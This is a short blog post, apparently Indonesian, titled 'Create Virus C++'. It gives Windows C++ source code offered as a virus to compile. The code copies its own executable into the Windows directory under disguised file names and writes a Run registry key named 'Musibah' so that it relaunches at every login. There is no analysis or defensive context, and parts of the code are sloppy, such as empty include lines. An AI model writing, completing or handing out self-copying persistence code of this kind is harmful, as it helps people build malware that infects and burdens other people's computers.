Create Virus C++
Bikin virus pake C++ bikin virus pake C++
#include
#include
char windir[MAX_PATH];
int APIENTRY WinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char pathname[256];
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
HKEY hKey;
GetWindowsDirectory(windir, sizeof(windir));
strcat(windir, "\\NasiTumpeng.exe");
CopyFile(pathname, windir, 0);
GetWindowsDirectory(windir, sizeof(windir));
strcat(windir, ".exe");
CopyFile(pathname, windir, 0);
GetWindowsDirectory(windir, sizeof(windir));
strcat(windir, "\\Shellnew\\LumpurPanas.exe");
CopyFile(pathname, windir, 0);
RegCreateKey (HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
&hKey);RegSetValueEx (hKey, "Musibah", 0, REG_SZ,
(LPBYTE)windir, sizeof(windir));
return 0;
}
save file to C++ source file (*.cpp)
No comments:
Post a Comment